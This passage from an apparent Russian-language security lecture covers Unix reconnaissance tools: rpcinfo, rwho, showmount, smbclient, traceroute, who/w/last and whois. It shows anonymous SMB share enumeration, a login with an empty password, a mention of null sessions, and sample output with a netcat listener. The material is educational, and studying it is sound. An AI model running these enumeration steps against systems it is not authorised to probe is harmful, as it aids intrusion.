Дна из наиболее мощных (и опасных) служб, которые могут быть запущены под управлением Unix, - служба регистрации RPC. RPC (Удаленный вызов процедур) обеспечивает подсистему для упрощения и стандартизации межпроцессорного взаимодействия. Тот, кто пишет приложения для RPC, пользуется специальными опциями компиляции и библиотеками для создания приложений и распространения клиентской и серверной частей приложения соответственно. Кто бы ни захотел запустить на выполнение серверную часть RPC-приложения, ему потребуется запустить и portmap или rpcbind (два синонима - rpcbind появился в последних версиях системы Solaris).

Portmap/rpcbind - это утилиты, которые прослушивают TCP- и UDP-порт с номером 111. Любые программы, которые хотят принимать RPC-запросы, должны зарегистрироваться с помощью portmapper. В процессе регистрации portmap записывает имя/номер, версию, описание, и порт, который прослушивает программа. Это важное различие. Все RPC-приложения прослушивают свой собственный порт; серверная программа или запрашивает отдельный порт для соединения или требует порт для соединения с ядром. Portmap просто сообщает клиентскому приложению, запрашивающему использование RPC-сервиса, какой порт необходимо использовать для соединения. RPC-сервисы могут соединяться напрямую без участия portmap. Популярными RPC-службами являются NFS (Network File System) и NIS/YP (Network Information Service or Sun Yellow Pages).

Примечание. Не все реализации NFS регистрируются с помощью portmapper. Эти NFS-службы по умолчанию обычно пользуются TCP- и UDP-портом 2049.

Rpcinfo - это программа, которая соединяется с portmapper, работающим в системе, и запрашивает список всех RPC-служб, запущенных в настоящее время, их имена, описания, и порты, которые используют эти службы. Это простой и быстрый способ для потенциального взломщика, чтобы определить уязвимые RPC-службы и взломать их.



Rwho


Программа rwho взаимодействует с отдельной программой (rwhod, запущенной на порту UDP с номером 513). Rwho-клиент пытается обмениваться информацией со всеми машинами, поддерживающими rwhod и обнаруживаемым в локальной подсети, чтобы определить, как пользователь может войти на каждую из них. Так же, как для finger, здесь много информации, которая позволяет взломщику, проникшему в локальную сеть, получить достоверные сведения о пользователях конкретного хоста. И есть вероятность, что если он запустит программу rwho, то сможет запустить некоторые другие средства удаленного доступа, так чтобы взломщик нашел возможность войти в систему без использования паролей.

Синтаксис командной строки очень простой. Просто наберите rwho. Если вы хотите включить пользователей, которые вошли в систему, но находятся в состоянии ожидания более часа, наберите rwho -a.



Samba: взгляд со стороны Unix


Как и Windows, имеющая средства доступа к разделяемым ресурсам из командной строки посредством SMB, у Unix есть собственные средства доступа к общим ресурсам на основе протокола NetBIOS. Samba включает в себя возможности и сервера и клиента для того, чтобы предоставить вам возможность определить общие сетевые ресурсы таким образом, чтобы Windows-клиенты могли видеть их в своем сетевом окружении и получить к ним доступ. В этом разделе мы сосредоточимся только на клиентской части этой программы, которая дает возможность получить доступ к общим ресурсам на основе протокола Server Message Block Protocol (SMB).



SHOWMOUNT


Используя rpcinfo, вы можете найти уязвимые NFS rpc.statd приложения, чтобы взломать их. Но почему же на это идут, несмотря на то, что для того чтобы начались проблемы, достаточно всего лишь ошибок в конфигурировании NFS?

Некоторые системные администраторы не слишком сильны в службах NFS, которые они экспортируют. Некоторые, даже не осознавая, экспортируют свои файловые системы с полномочиями чтение/запись, только и ожидая, когда взломщики через интернет обнаружат это.

Команда showmount позволит нам увидеть, какие файловые системы доступны на конкретных NFS-серверах.



Smbclient


Smbclient можно представить себе, как аналог FTP-клиента для доступа к общим ресурсам на основе протокола SMB. Smbclient это практически тоже самое, что и net use под Windows. Рассмотрим несколько команд, которые вы можете попробовать.

Реализация. Во-первых, нам необходимо получить список доступных сетевых ресурсов. Мы можем использовать опцию -L <hostname> для просмотра доступных общих ресурсов для конкретного хоста, но если наш smbclient не может установить соответствие между именем NetBIOS и IP-адресом, нам необходимо использовать флаг -I. Можно также воспользоваться опцией -N, чтобы пропустить запрос на ввод паролей (так как нам хотелось бы получить информацию без них).

[jdoe@originix ~]$ smbclient -N -L badman -I 192.168.1.101 Added interface ip=192.168.1.101 bcast 192.168.1.255 nmask=255.255.255.0

Sharename Type Comment --------- ---- -------- MP3S Disk HALF-LIFE Disk CDRW Disk INSTALL Disk D Disk IPS$ IPC Remote Inter Process Communications

Server Comment --------- --------- BADMAN The bad machine

Workgroup Master --------- --------- MYWORKGROUP BADMAN

Не правда ли, вывод этой команды выглядит практически так же, как и вывод команды net view в предыдущем разделе. Исключая тот факт, что smbclient проинформировал нас о наличии общего ресурса IPC$! Скрытые ресурсы невозможно спрятать от smbclient. Заметьте, что для этой команды нам действительно необходимо знать NetBIOS-имя машины. Без этого мы не смогли бы получить никакой информации.

Теперь посмотрим, что произойдет, если мы попробуем соединиться с общим ресурсом.

[jdoe@originix ~]$ smbclient //badman/mp3s -I 192.168.1.101 Added interface ip=192.168.1.100 bcast=192.168.1.255 nmask=255.255.255.0 Password: smb: \> ls Innocent.mp3 A 5269507 Set Feb 3 02:04:14 2001 Awake.mp3 A 7302760 Mon Feb 12 18:16:44 2001 River.mp3 A 5324800 Web Jan 3 19:04:12 2001 39060 blocks of size 524288. 18784 blocks available

Мы применили пустой пароль и попали внутрь. Теперь мы можем использовать стандартные FTP-команды (get, put, ls), чтобы определить, можем ли мы читать или писать файлы в этот ресурс. Если мы хотим подключиться к ресурсу под именем пользователя, то можно использовать опцию -U <username>.

Совет. Если для подключения к общему ресурсу требуется пароль, вы можете ввести пароль в командной строке, вместо того, чтобы вводить его по запросу. Однако это не самая хорошая мысль - оставлять в системном журнале ваш пароль в виде текста.

Можем ли мы использовать smbclient для открытия нулевой сессии с ресурсом IPC$? Уверены, что да. Однако сделать это несколько сложнее. Дело в том, что IPC$ - это конвейер, а не брандмауэр, поэтому smbclient не в состоянии установить такое соединение. Вам следует использовать rpcclient, включенный в состав дистрибутива Samba, чтобы соединиться с ресурсом IPC$.



Traceroute


Traceroute делает то, что указано в ее названии - он размечает маршрут, который проходят IP-пакеты на пути от вашего хоста до указанной цели.

Программа начинает работать с отсылки IP-пакета (ICMP или UDP) к заданной цели, но при этом устанавливает время жизни пакета (TTL- Time-To-Live) равным 1. Пакет исчерпывает свои ресурсы при достижении первой же промежуточной точки, и маршрутизатор уведомляет нас с помощью ICMP-сообщения, что время жизни пакета исчерпано, сообщая тем самым, что достигнута первая промежуточная точка. Теперь мы отсылаем следующий IP-пакет к цели, но теперь уже устанавливаем параметр TTL равным 2. Пакет достигает второй промежуточной точки и происходит тоже самое. Продолжая наращивать параметр TTL до тех пор, пока не будет достигнута цель, мы сможем узнать, какой маршрут проходят пакеты на пути от нашего хоста до цели.

Этот инструмент может быть очень полезен при диагностике проблем в сети (для определения причин выхода сети из строя или для определения петель), но он также может быть использован для получения информации о местонахождении тестируемой системы.

Ниже приведен фрагмент вывода, который можно получить, используя команду traceroute

11 cxchg.GW2.SEA1.BACK_BONE.NET (192.168.240.79) 88.959 ms 83.770 ms 84.251 ms 12 dxchg.GW1.SEA1.BACK_BONE.NET (192.168.206.185) 84.427 ms 83.894 ms 82.176 ms 13 aexchg.GW5.SEA1.BACK_BONE.NET (192.168.101.25) 84.570 ms 84.122 ms 84.243 ms

Здесь приведено несколько последних промежуточных точек маршрута на пути к цели. Часть базовых хостов сети интернет используют имена, отражающие их географическое положение. Вероятно, что комбинация символов SEA1 имеет отношение к Сиэтлу, штат Вашингтон. Это говорит о том, что данная машина, возможно, расположена на северо-западе Соединенных Штатов.

Примечание. В настоящее время держатели базовой инфраструктуры интернета начинают использовать коды аэропортов для обозначения своих маршрутизаторов.

Версия программы Traceroute с графическим интерфейсом для Unix называется gtrace и использует базу данных местоположения известных хостов для отображения географической карты маршрута, который проходят пакеты по всему миру. Эту программу можно найти по адресу http://www.caida.org/tools/visualization/gtrace/. Аналогичные программы для Windows называются VisualRoute и McAfee Visual Trace, и доступны в интернете по адресам http://www.vsualware.com и http://www.mcafee.com, соответственно. Имейте в виду, что графические версии traceroute не всегда правильно отображают информацию, поскольку соответствующие whois-базы данных могут содержать, а могут и не содержать требуемую информацию.



w


Как насчет того, чтобы узнать, что делает каждый пользователь в настоящий момент? Команда w сообщит вам, что пользователь запускает сейчас из командной строки, равно как и статистику об использовании системы.

jjohnson@host:~% w 1:45am up 3 days, 12:03, 4 users, load average: 1.55, 2.23, 2.35 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT gstuart pts/0 192.168.1.10 1:44am 55.00s 0.04s 0.04s ./nc -l -p 1812 -s 1 wave pts/1 10.10.4.3 Sun 9am 9:57m 0.14s 0.11s -bash schuster pts/1 10.10.4.15 Mon 3pm 9:57m 0.14s 0.11s pine jjohnson pts/2 192.168.1.100 12:37am 1.00s 0.35s 0.08s w



Who


Просто набрав who в командной строке Unix-системы можно получить список имен пользователей, используемых терминалов и даты входа в систему для всех активных в настоящий момент пользователей. Вы можете попытаться использовать другие параметры командной строки для форматирования вывода различным образом.

jjohnson@host:~% who gstuart pts/0 Feb 26 01:33 wave pts/1 Feb 24 09:21 schuster pts/0 Feb 25 15:23 jjohnson pts/2 Feb 26 00:37 jjohnson@host:~% who -H USER LINE LOGIN-TIME FROM gstuart pts/0 Feb 26 01:33 wave pts/1 Feb 24 09:21 schuster pts/0 Feb 25 15:23 jjohnson pts/2 Feb 26 00:37 jjohnson@host:~% who -H -i USER LINE LOGIN-TIME IDLE FROM gstuart pts/0 Feb 26 01:33 wave pts/1 Feb 24 09:21 09:46 schuster pts/0 Feb 25 15:23 jjohnson pts/2 Feb 26 00:37 jjohnson@host:~% who -H -i -l USER LINE LOGIN-TIME IDLE FROM gstuart pts/0 Feb 26 01:35 (192.168.1.10) wave pts/1 Feb 24 09:21 09:48 (10.10.4.3) schuster pts/0 Feb 25 15:23 (10.10.4.15) jjohnson pts/2 Feb 26 00:37 (192.168.1.100) jjohnson@host:~% who -q gstuart wave schuster jjohnson # users=4 johnson@host:~% who -m host!jjohnson pts/2 Feb 26 00:37

Вот что мы видим: -H выводит список заголовков для каждой колонки, -i добавляет время задержки, -l хост, с которого осуществлен вход, -q подсчитывает только число пользователей, и -m сообщает нам информацию о пользователях, которые в настоящее время используют стандартный ввод (это вы!). Вы можете отслеживать всех активных пользователей с помощью команды who.



Who, w и last


В предыдущем разделе мы говорили о том, как программа rwho позволяет вам увидеть пользователей на удаленной Unix-машине. Если вы находитесь на Unix-машине, вы можете использовать команду who, w и last, чтобы получить много информации о пользователях, в настоящее время работающих в системе или работавших в ней с момента вашего последнего входа в систему (last также обсуждается в лекции "Создание и использование комплекта инструментов "живого ответа" для Unix"). Серьезные взломщики могут осторожно изучать поведение пользователя, входя в систему под видом обычного пользователя и избегая моментов, когда в систему входит пользователь root.

Эти три средства - стандартные для Unix-систем и полезны как системным администраторам, так и взломщикам, чтобы следить за поведением пользователя. Поскольку все эти команды могут выполняться только локально, вы можете предпочесть ограничить доступ к ним только пользователям с полномочиями root.



WHOIS/FWHOIS


Whois - невероятно простое, но в тоже время весьма распространенное средство, с помощью которого осуществляется запрос к конкретной базе данных "whois" для получения информации об имени домена и IP-адресе.

Служба Whois представляет собой базу данных, которая поддерживается держателями служб DNS по всему миру. База данных Whois может содержать много различной информации, но обычно в ней содержится такая информация как местоположение, контактная информация и диапазоны IP-адресов для каждого доменного имени, находящегося под управлением держателя службы доменных имен.